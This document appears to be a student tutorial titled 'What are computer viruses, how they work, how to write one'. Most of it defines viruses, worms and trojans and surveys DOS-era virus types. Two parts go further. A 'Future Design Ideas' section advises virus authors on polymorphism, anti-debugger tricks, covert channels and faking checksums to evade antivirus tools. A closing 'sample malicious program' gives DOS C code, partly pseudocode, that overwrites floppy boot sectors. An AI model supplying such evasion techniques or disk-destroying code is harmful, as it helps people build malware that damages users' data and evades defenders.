

***WHAT ARE COMPUTER VIRUSES,
HOW THEY WORK,
HOW TO WRITE ONE?***

What are computer viruses ?

A computer virus is a self-replicating program containing code that explicitly copies itself and that can "infect" other programs by modifying them or their environment such that a call to an infected program implies a call to a possibly evolved copy of the virus.

These software "pranks" are very serious; they are spreading faster than they are being stopped, and even the least harmful of viruses could be life-threatening. For example, in the context of a hospital life-support system, a virus that "simply" stops a computer and displays a message until a key is pressed, could be fatal. Further, those who create viruses can not halt their spread, even if they wanted to. It requires a concerted effort from computer users to be "virus-aware", rather than continuing the ambivalence that has allowed computer viruses to become such a problem.

Computer viruses are actually a special case of something known as "malicious logic" or "malware".

COHEN'S theoretical definition of Computer Viruses

Consider the set of programs which produce one or more programs as output. For any pair of programs p and q , p *eventually produces* q if and only if p produces q either directly or through a series of steps (the "eventually produces" relation is the transitive closure of the "produces" relation.) A *viral set* is a maximal set of programs V such that for every pair of programs p and q in V , p eventually produces q , and q eventually produces p . ("Maximal" here means that there is no program r not in the set that could be added to the set and have the set still satisfy the conditions.) For the purposes of this paper, a *computer virus* is a viral set; a program p is said to be an instance of, or to be infected with, a virus V precisely when p is a member of the viral set V . A program is said to be *infected* simpliciter when there is some viral set V of which it is a member. A program which is an instance of some virus is said to *spread* whenever it produces another instance of that virus. The simplest virus is a viral set that contains exactly one program, where that program simply produces itself. Larger sets represent polymorphic viruses, which have a number of different possible forms, all of which eventually produce all the others.

Detecting a Virus

For the purposes of this paper, an algorithm A detects a virus V if and only if for every program p , $A(p)$ terminates, and returns "true" if and only if p is infected with V . Similarly, an algorithm A detects a set of viruses S if and only if for every program p ,

A(p) terminates, and returns "true" if and only if p is infected with some virus V which is a member of S. This is essentially Cohen's definition in [1], and it is the only formal definition of detection that has proven theoretically fruitful. It also captures (at least to a first approximation) our intuitive notion of computer virus detection.

What is a Worm?

A computer WORM is a self-contained program (or set of programs), that is able to spread functional copies of itself or its segments to other computer systems (usually via network connections). Note that unlike viruses, worms do not need to attach themselves to a host program. There are two types of worms--host computer worms and network worms.

What is a Trojan Horse?

A TROJAN HORSE is a program that does something undocumented that the programmer intended, but that some users would not approve of if they knew about it. According to some people, a virus is a particular case of a Trojan Horse, namely one which is able to spread to other programs(i.e., it turns them into Trojans too).

What are the main types of PC viruses?

Generally, there are two main classes of viruses. The first class consists of the FILE INFECTORS which attach themselves to ordinary program files. These usually infect arbitrary COM and/or EXE programs, though some can infect any program for which execution or interpretation is requested, such as SYS, OVL, OBJ, PRG, MNU and BAT files. There is also at least one PC virus that "infects" source code files by inserting code into C language source files that replicates the virus's function in any executable that is produced from the infected source code files. File infectors can be either DIRECT-ACTION or RESIDENT. A direct-action virus selects one or more programs to infect each time a program infected by it is executed. A resident virus installs itself somewhere in memory (RAM) the first time an infected program is executed, and thereafter infects other programs when *they* are executed (as in the case of the Jerusalem virus) or when other conditions are fulfilled. Direct-action viruses are also sometimes referred to as NON-RESIDENT. The Vienna virus is an example of a direct-action virus. Most viruses are resident.

The second main category of viruses is SYSTEM or BOOT-RECORD INFECTORS: these viruses infect executable code found in certain system areas on a disk. On PCs there are ordinary boot-sector viruses, which infect only the DOS boot sector, and MBR viruses which infect the Master Boot Record on fixed disks and the DOS boot sector on diskettes. Examples include Brain, Stoned, Empire, Azusa and Michelangelo. All common boot sector and MBR viruses are memory resident.

To confuse this classification somewhat, a few viruses are able to infect both files and boot sectors (the Tequila virus is one example). These are often called "MULTI-PARTITE" viruses, though there has been criticism of this name; another name is "BOOT-AND-FILE" virus.

Aside from the two main classes described above, many antivirus researchers distinguish either or both of the following as distinct classes of virus:

FILE SYSTEM or CLUSTER viruses (e.g. Dir-II) are those that modify directory table entries so that the virus is loaded and executed before the desired program is. The program itself is not physically altered, only the directory entry of the program file is. Some consider these to be a third category of viruses, while others consider them to be a sub-category of the file infectors. LINK virus is another term occasionally used for these viruses, though it should be avoided, as "link virus" is commonly used in the Amiga world to mean "file infecting virus."

KERNEL viruses target specific features of the programs that contain the "core" (or "kernel") of an operating system (3APA3A is a DOS kernel virus and is also multipartite). A file infecting virus that *can* infect kernel program files is *not* a kernel virus--this term is reserved for describing viruses that utilize some special feature of kernel files (such as their physical location on disk or a special loading or calling convention).

What is a stealth virus?

A STEALTH virus is one that, while "active", hides the modifications it has made to files or boot records. This is usually achieved by monitoring the system functions used to read files or sectors from storage media and forging the results of calls to such functions. This means programs that try to read infected files or sectors see the original, uninfected form instead of the actual, infected form. Thus the virus's modifications may go undetected by antivirus programs. However, in order to do this, the virus must be resident in memory when the antivirus program is executed and *this* may be detected by an antivirus program.

What is a polymorphic virus?

A POLYMORPHIC virus is one that produces varied but operational copies of itself. These strategies have been employed in the hope that virus scanners (see D1) will not be able to detect all instances of the virus.

One method of evading scan string-driven virus detectors is self-encryption with a variable key. These viruses (e.g. Cascade) are not termed "polymorphic", as their decryption code is always the same. Therefore the decryptor can be used as a scan string by the simplest scan string-driven virus scanners .

A technique for making a polymorphic virus is to choose among a variety of different encryption schemes requiring different decryption routines: only one of these routines would be plainly visible in any instance of the virus (e.g. the Whale virus). A scan string-driven virus scanner would have to exploit several scan strings (one for each possible decryption method) to reliably identify a virus of this kind.

More sophisticated polymorphic viruses (e.g. V2P6) vary the sequences of instructions in their variants by interspersing the decryption instructions with "noise" instructions (e.g. a No Operation instruction or an instruction to load a currently unused register with an arbitrary value), by interchanging mutually independent instructions, or even by using various instruction sequences with identical net effects (e.g. Subtract A from A, and Move 0 to A). A simple-minded, scan string-based virus scanner would not be able to reliably identify all variants of this sort of virus; rather, a sophisticated "scanning engine" has to be constructed after thorough research into the particular virus.

One of the most sophisticated forms of polymorphism used so far is the "Mutation Engine" (MtE) which comes in the form of an object module. With the Mutation Engine any virus can be made polymorphic by adding certain calls to its assembler source code and linking to the mutation-engine and random-number generator modules. The advent of polymorphic viruses has rendered virus-scanning an ever more difficult and expensive endeavor; adding more and more scan strings to simple scanners will not adequately deal with these viruses.

What is a companion virus?

A COMPANION virus is one that, instead of modifying an existing file, creates a new program which (unknown to the user) is executed instead of the intended program. On exit, the new program executes the original program so that things appear normal. On PCs this has usually been accomplished by creating an infected .COM file with the same name as an existing .EXE file. Integrity checking antivirus software that only looks for modifications in existing files will fail to detect such viruses.

What is an armored virus?

An ARMORED virus is one that uses special tricks to make tracing, disassembling and understanding of its code more difficult. A good example is the Whale virus.

What is a cavity virus?

A CAVITY VIRUS is one which overwrites a part of the host file that is filled with a constant (usually nulls), without increasing the length of the file, but preserving its functionality. The Lehigh virus was an early example of a cavity virus.

What is a tunnelling virus?

A TUNNELLING VIRUS is one that finds the original interrupt handlers in DOS and the BIOS and calls them directly, thus bypassing any activity monitoring program (see D1) which may be loaded and have intercepted the respective interrupt vectors in its attempt to detect viral activity. Some antivirus software also uses tunnelling techniques in an attempt to bypass any unknown or undetected virus that may be active when it runs.

What are the symptoms and indications of a virus infection?

Many people associate destruction--file corruption, reformatted disks and the like--with viruses. Machines infected with viruses that do this kind of damage often display such damages too. This is unfortunate, as usually viruses can be detected or prevented from infecting long before they can inflict any (serious) damage, though many viruses have no "payload" at all. Note that viruses that simply reformat the hard disk shortly after infecting a machine tend to wipe themselves out faster than they spread, so don't get far.

Thus, the more successful viruses typically try to spread as much as possible before delivering their payload, if any. As these tend to be the viruses you are most likely to encounter, you should be aware that there are usually symptoms of virus infection before any (or much!) damage is done.

There are various kinds of symptoms that some virus authors have written into their programs, such as messages, music and graphical displays. The main indications, however, are changes in file sizes and contents, changing of interrupt vectors, or the reassignment of other system resources. The unaccounted use of RAM or a reduction in the amount reported to be in the machine are important indicators. Examination of program code is valuable to the trained eye, but even a novice can often spot the gross differences between a valid boot sector and some viral ones. These symptoms, along with longer disk activity and strange behavior from the hardware, may instead be caused by genuine software, by harmless "joke" programs, or by hardware faults.

Can I get a virus from reading e-mail ?

In general terms, the answer is no. E-mail messages are text data and will not be executed as programs. Computer viruses are programs, and must be executed to do anything, so the simple act of reading online messages doesn't pose a threat of catching a computer virus.

Can a virus "hide" in a GIF or JPEG file?

The simple answer is "no". The complete answer is more complex. GIF and JPEG (.JPG) files contain compressed graphical information. Every now and then, rumors arise that it is possible to infect those files with a virus in such a way, that it will spread when you display one of these images. This is technically impossible--no part of the GIF or JPEG format contains code that is executed by the viewer program. It *is* possible to use the least significant bit of the color information for each pixel in GIF files to store additional information, without visibly altering the quality of the picture contained in the file. This is called "steganography" and is sometimes used to transmit secretly encrypted messages. Since a virus is nothing more than information, it is possible to "encode" it into a GIF file and transmit it this way. However, the recipients must be aware that the GIF file contains such hidden information and take some deliberate steps to extract it--it cannot happen against their will.

What is the ChipAway virus?

The ChipAway virus is not a virus at all. In fact, it is a poorly chosen name for a good idea. Many PCs have an advanced BIOS feature that, when activated, prevents any writes to the MBR through BIOS disk routines. If active, this feature can cause problems if you install non-DOS operating systems (like OS/2, Windows 95 or Windows NT), as their installation routines typically need to write to the MBR, but for general purpose computers, it is a good idea to turn on these options, if they exist. Unfortunately, one of the earliest and most widely available implementations of this idea prints a message on screen at each system startup to the effect "ChipAwayVirus installed". This is supposed to calm the owner's nerves, making them confident that their BIOS antivirus system is working for them. For fairly obvious reasons, it tends to have the opposite effect!

Future Design Ideas for Viruses - Stealth techniques

In a secure system, viruses don't often get the opportunity to propagate or to execute malicious code. And when they do, they can be busted quickly, which would stop further propagation. Until they can do reach the climax of their life and die, they must survive, and thus avoid detection by the immunity systems of target computer systems (intrusion-detection software, watchful system administrators, attentive users). The main stealth techniques for going undetected can be divided into Polymorphism, Discretion and Track-Covering.

Polymorphism

Polymorphism avoids recognition of the virus in its inactive forms by simple pattern-matching techniques thanks to the introduction of randomness and complexity in the

aspect of the virus. Lack of polymorphism makes a virus easy to recognize, once first identified.

The main design decision here will be to **compile the virus into bytecode**, wordcode, compressed parse-tree, or some other *high-level representation* that allows for a lot of arbitrariness in creating variations of the code, independently from the processor-specific back-end, while at the same time permitting a great total set of high-level features. Change the values (and maybe even meaning and grouping) of the bytecodes for every target executable; for instance, take a long sequence of different bytes in the executable, and use them as the seed for the bytecode interpreter or compiler.

To minimize impact on the program size, **reuse parts of the existing program** for both bytecode and bytecode interpreter, whenever possible.

Use some source of randomness when generating the bytecode and its interpreter.

Another advantage of the bytecode approach is that most of a virus' infrastructure can be high-level and target-system independent, thus sharing a lot between different operating systems or microprocessors. Byte-code and multi-abstraction-level design also allows for making it harder to reverse-engineer the virus, making it last longer. If speed is ever a problem, byte-code interpretation can be used just to **dynamically compile** and link a native version of those speed-sensitive parts of the virus. Again, randomness could be used to avoid detection of in-memory by simple pattern-matching on memory. When intercepting a system or library call, try to do it up the call chain, if possible, so as to make pattern-matching-based detection harder.

Discretion

Discretion is about avoiding recognition of the virus in its active forms by people or programs monitoring running processes. It works by only altering infected programs' behaviour in subtle ways that are difficult to observe, and sometimes even impossible to observe with the coarse-grained tools most used for monitoring (e.g. ltrace or strace).

Try to **only eat resources when they will go unnoticed**, interleaving any heavy CPU usage with normal computations, consuming memory during normal allocations, accessing disk or doing system or library calls along with the infected program, etc. Behaving as a parasite, just like a government uses taxation to live on the back of productive people.

Try to modify the behaviour of a program **without modifying its system call pattern**; e.g. read time by intercepting calls to `time(2)`, allocate memory by intercepting `sbrk(2)`, `mmap(2)` or `malloc(3)`. If the modified program doesn't do all these things, it is still possible to do more, but then it would be more risky. Choose behaviour alterations depending on target program behaviour, as known from a base of common knowledge, from data extrapolated from the information on DLL calls, and/or from actual observation and monitoring of its behaviour.

Have a model of how risky every observable behaviour is, and pick a random number to decide whether to undertake it, with a probability inversely proportional to the risk taken. Use system calls (particularly date and time) as source of randomness, and use information gathered at infection time in the model. Adapt risk estimation and, accordingly, risk-taking, to access rights already obtained, rights hopefully obtained, and corresponding capacity of [track-covering](#) (see below): Do not hesitate to do things that would otherwise be considered as risky when you're pretty sure you can't be watched; but conversely, don't take any risk that is made wholly unnecessary because the desired effect is already achieved.

Use subliminal channels for communication: hide local persistent data in seemingly innocent configuration files; hide LAN communication in ARP or ICMP or packets; hide WAN broadcast messages in USENET posts or Slashdot postings; etc. Once again, ride on existing files, TCP connections, and posts, when applicable. Otherwise, use, automatic content generation, to make these messages indistinguishable from normal noisy activity for all those who don't have access to enough information to know that there shouldn't have been activity here to begin with. Use volume control techniques (including exponential backup) so as not to get noticed by extraordinary volume while using any such medium. Use steganography to hide messages in all the above activity.

When applicable, avoid dynamic library calls, that can be intercepted by ltrace and dependency-tracing wrappers, and can interfere with library extensions. Use direct system calls instead that can only be seen by strace. Even then, a system call added to the normal behaviour of the direct program is suspect, and it's better to hide it in the middle of lots of similar "normal" calls. Try to detect the absence of a debugger or monitor before to do anything visibly wrong. If a debugger is detected, skip any behaviour, or better, mislead the enemy with a fake behaviour.

Do not help anti-virus developers by providing an accurate check of whether a particular file, process or system is already infected. For instance, a check that doesn't give false negative is sufficient to avoid re-infection and the noticeable exponential slowdown factor that it would incur. Check routines easily accessible to the anti-virus developers should have 50% to 99% of false positive. More generally, see [Multilayered Security](#) below. To avoid detection by anti-virus monitors scanning the memory of running processes, or disassembly by debugging enemies, use just-in-time generation and erasure of code for whatever bits of native code would have a typical pattern; also use the technique for critical bytecodes such as a check as above. Track-Covering Track-Covering alters the very means of detection of the immunity system, so as to confer invisibility to behaviours that would otherwise be quickly noticed. It consists in using the powers of the infected binaries, libraries and kernel, so as to make their alterations invisible to someone inspecting the system using tools that are themselves infected. Though doing things without having one's track covered is risky, trying to cover tracks is risky, too, for someone not infected will not observe the same behaviour, and the discrepancy can lead to discovery of the virus. Hence, **decisions must again be taken according to a model of the environment of the virus:** who are the people whose files

are currently infected? What are they likely to observe? Last but not least, track-covering alterations must be *consistent*. If we take the decision to pretend that some file's size or md5sum is not its real size or md5sum, but the one of the original file before infection, then we must do it always from now on, or at least not change on a whim. Consecutive tests should give the same result.

As for taking the decision of faking original file contents, size and/or checksums, the question is whether anyone who will check them later remembers the old values from before the infection, or will he check with values of the file already infected. In the latter case, nothing must be done. In the former, the old values must be constantly delivered, and it would be great to avoid doing any modification, unless necessary, or to revert modifications, once higher access rights are granted. For instance, if system libraries and crucial binaries are hit, there's no need to modify all the remaining binaries. And if the kernel is hit, even libraries are not so important to infect after all, unless copied to someone else over the network, or to restore kernel infection after the kernel is upgraded. Files that mostly do not need content, size and checksum faking are files that have been created in infected state, at compile-time, link-time or assembly-time. However, they might still require some content faking when they are being debugged, so as to hide any obviously altered behaviour.

How New Technologies Can Help Viruses Spread

Some of the technologies that make Windows 95 , 98 so attractive actually help propagate viruses across the network. For example, the workgroup networking environment is very susceptible to rapid virus-spreading. Again, since Windows 95 , 98 has no file-level protection, unprotected drives and files that are shared on a peer-to-peer network can quickly become infected when any of the computers on that network become infected.

Potential New Viruses

In the anti-virus community, there are discussions of new types of viruses that may emerge because of the features found in Windows 95. One possible type of virus is an OLE2 virus. This type of virus could easily spread by disguising itself as an OLE2 server of any common service. Then, when an OLE2 client asks an OLE2 server to provide this common service, the virus could actually gain control. It could propagate itself to other files or computers, then run the original OLE2 server it replaced. The application wouldn't even know that it was talking with a virus rather than the actual OLE2 server. And if the OLE2 server were on a completely different network computer, the virus could quickly spread itself throughout the network.

Another possible type of virus is a shell extension virus. Microsoft has made the shell in Windows 95 completely extensible to allow for customization. Technically, a virus could be one of those extensions. Windows 95 requires no validation for shell

extensions, so a virus could be written as an extension that could gain control and propagate itself. Another type of virus that could become popular is a Virtual Device Driver (VxD) virus. A Windows 95 VxD has complete control over the entire computer system. It can write directly to a hard disk if programmed to do so. It has the same privileges as the Windows 95 kernel, so it has a wide latitude of control over the system. With Windows 95, Microsoft has added the ability to load VxDs dynamically—a VxD doesn't need to be in memory at all times, but only when needed. That means that a virus could have a small amount of code that activates a dynamic VxD, which could then cause severe disruptions to the computer. Because there are no restrictions on what it can do, a VxD virus could bypass any type of protection mechanism you may have employed. Another area that may present new opportunities for viruses is the proliferation of easy-to-use programming tools for Windows. In the past, virus writers required a more intimate knowledge of assembly language and the operating system to create TSRs to propagate. For Windows, viruses can be written in high-level languages with visual programming toolkits by more novice programmers. These viruses are also harder to detect since they look very much like all the other programs a user is running.

Love Letter Virus

A Visual Basic Script worm that spread widely around the world simply because people were too curious for their own good and opened an E-mail attachment without knowing what was in it. In its original form the worm sent itself to users via an Email attachment. The message subject was "ILOVEYOU" and the message text was: "kindly check the attached LOVELETTER coming from me." The attachment was called LOVE-LETTER-FOR-YOU.TXT.vbs (note the double extension). When clicked on the attachment would run (assuming Windows Scripting Host is installed) and the cycle would start again. The double extension is important for this worm as it tries to exploit an ease of use function. Mail programs and directory programs are often set, by default, to not show extensions. This is supposed to shield you from the details of the computer's operation. In this case, it made things worse since, if you had that option set, the attachment would show up as LOVE-LETTER-FOR-YOU.TXT and thus appear to be a text file instead of an executable script. If you don't see extensions now, reset your options to show them.

A Sample Malicious Program

Program of a virus installer :

```
#include <process.h>
#include <stdio.h>
#include <conio.h>

void spawnl_proc(void)
{
    int result;

    result = spawnl(P_NOWAIT, "ready.exe", NULL);
    if (result == -1)
    {
        perror("Error from spawnl ");
        exit(1);
    }
}

void main(void)
{
    spawnl_proc();
}
```

Now by some how this code gets executed (We are not worrying currently about how control was given to this program (whether infected resource was executed or not !!!)) it sets up a standalone process for "ready.exe". Now that ready.exe is resident program and it gets entire control to do its job (restrictions are there).

Program excerpt of "ready.cpp":

```
#include <bios.h>
#include <stdio.h>
#include <conio.h>

void main(void)
{
    int result;
    char buffer[512];

    printf("Testing to see if drive a: is ready\n");
    result = biosdisk(4,0,0,0,1,buffer);
}
```

```

result &= 0x02;
if(result!=0)
{
    wait until you hear the floppy drive motor spinning ;
}
else execv("virus.exe");
}

```

This program is resident and it keeps on checking whether floppy motor is spinning or not when some I/O happens due to other processes. Once floppy runs and other process accessing finishes usage or waits for some other reason our pranker silently moves in the dark and overwrites the boot sector of floppy with some garbage or the virus program itself.

Program excerpt of "virus.cpp":

```

#include <stdio.h>
#include <conio.h>
#include <process.h>
#include <dos.h>

void main(void)
{
    int i, strt, ch_out, sector;
    char buf[512];

    /* The buf contains some garbage or the copy of the virus itself */

    sector = 0;
    if (abswrite(0, 0, sector, &buf) == 0)
    {
        printf(" !!! Well done S7-R students !!! \n");
        printf(" Your virus has got the control \n");
        printf(" It will start destroying all the floppies - \n");
        printf(" one by one as you go on inserting.\n");
        printf(" The boot sector is the virus's target ");
        exit(1);
    }
}

```

When this program is called it does the boot record overwriting job.